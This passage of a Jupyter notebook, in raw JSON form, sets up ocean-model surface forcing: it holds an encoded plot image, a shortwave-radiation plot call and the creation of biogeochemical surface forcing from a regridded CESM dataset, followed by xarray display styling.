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0go77aGYCpwCW8ySLpuFI9hQWxpqPu/x3vmV4VR0+3t0lBOyGKIp544gn0XPeharQxDCJZrGFMbDkJJ9WN9wtrvSIQyeJ4YewbT+joohFZbPfJB08++SSuvPJKTJ8+HQRB4L777qv7vaZp+PKXv4xp06YhFovhwgsvxK5du+quMzw8jBtvvBHpdBodHR24+eabj3nl+4Q+HBFFEel062muCHdaOTq1CuNXWog6dowxWPdUN859qguHpgt4ZVUWW5bnkE8qeHbNKJ5dM4opR1mcuimNU7ekkMmGG3n2lEYOSFUNDVkMoSn3rHTjaDWzMC5bF8OBF5unoe1S0G5UhbGDg/bckO/bN0OWZVAUFXo2IZJFHRVq6OP97IhkcXww5kOLooh4fDwmxkd4oVAoYNWqVfjABz6At7/97Q2//9a3voV//dd/xU9+8hPMmzcPX/rSl3DxxRdj69at4HkeAHDjjTfi8OHDePTRRyFJEm666SbccsstuOeee8b7z6ky4WUxiiyOD17T0F74h4o8tiKNBAjMOMRjxiEelzzci10LCti8Kovtiwro7xPx0NsG8fCFgzhpbxynbkph+bYUGDF4oNxPGtnttlYatkHptzBmFidQm4dtJYxDpZmn6xGkAy/mQthaPcSa7up5P+JoTUEDQDweRzqdxsjICLq7u21uFYxIFnXexJsYxShYsFiE1paROBHJ4vgRFblMvGroSy+9FJdeeqnt7zRNw7e//W188YtfxNVXXw0A+O///m9MmTIF9913H9797ndj27ZteOihh/Diiy/itNNOAwD827/9Gy677DL88z//M6ZP957dCZNIFiMAtGfigl9pbPaRpFQCy3cmsXxnEiVewatLc3h5VQ5vzClh9/wids8v4r7Lj2LF9iRWb0rj5L3xhvWNraSRQ/8qIgloyv/f3pkGx1Ge+/7XPZtGy2jzInmR9wXLltiMARM222AOJkASsxQcEqpOcovAPUWohHPPvckhJnDvrVRyK8mHVFJ1P1C5oZIiIRBiwITt+MABbDZLsi3v8m5t1jKjGc3afT9oetwzmpE00sw7Lc37e6trunump1utnrf//Szvk+wuNq7yXHb7jTe5k5azEY2pLuhRVI1OPDMLR6W2BP1sdm4TTdMYHBykZooVW1IxRHmxk4/yfumw2+1ySBdByOFzxOH1epOWXS5X1gm4HR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"text/plain": [ "<Figure size 1300x700 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "coarse_surface_forcing.plot(\"swrad\", time=15)" ] }, { "cell_type": "markdown", "id": "dcdded6b-de2a-43bb-bf31-e96727f277a2", "metadata": {}, "source": [ "## Biogeochemical (BGC) surface forcing\n", "We now create BGC surface forcing. The BGC variables are interpolated from a CESM dataset with monthly frequency, which is located here." ] }, { "cell_type": "code", "execution_count": 17, "id": "7dd1e5ae-5656-4290-90cc-844614d75f61", "metadata": { "tags": [] }, "outputs": [], "source": [ "path = \"/global/cfs/projectdirs/m4746/Datasets/CESM_REGRIDDED/CESM-surface_lowres_regridded.nc\"" ] }, { "cell_type": "code", "execution_count": 18, "id": "9cba7e65-ec2a-475d-9e01-f18af1e9b765", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 383 ms, sys: 124 ms, total: 507 ms\n", "Wall time: 1.66 s\n" ] } ], "source": [ "%%time\n", "\n", "bgc_surface_forcing = SurfaceForcing(\n", " grid=grid,\n", " start_time=start_time,\n", " end_time=end_time,\n", " source={\"name\": \"CESM_REGRIDDED\", \"path\": path},\n", " type=\"bgc\",\n", " use_dask=True,\n", ")" ] }, { "cell_type": "code", "execution_count": 19, "id": "ca5b2bc1-fd55-4c04-9a9d-9ae5353d50cb", "metadata": { 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padding: 0 !important;\n", " margin: 0;\n", "}\n", "\n", ".xr-dim-list li {\n", " display: inline-block;\n", " padding: 0;\n", " margin: 0;\n", "}\n", "\n", ".xr-dim-list:before {\n", " content: '(';\n", "}\n", "\n", ".xr-dim-list:after {\n", " content: ')';\n", "}\n", "\n", ".xr-dim-list li:not(:last-child):after {\n", " content: ',';\n", " padding-right: 5px;\n", "}\n", "\n", ".xr-has-index {\n", " font-weight: bold;\n", "}\n", "\n", ".xr-var-list,\n", ".xr-var-item {\n", " display: contents;\n", "}\n", "\n", ".xr-var-item > div,\n", ".xr-var-item label,\n", ".xr-var-item > .xr-var-name span {\n", " background-color: var(--xr-background-color-row-even);\n", " margin-bottom: 0;\n", "}\n", "\n", 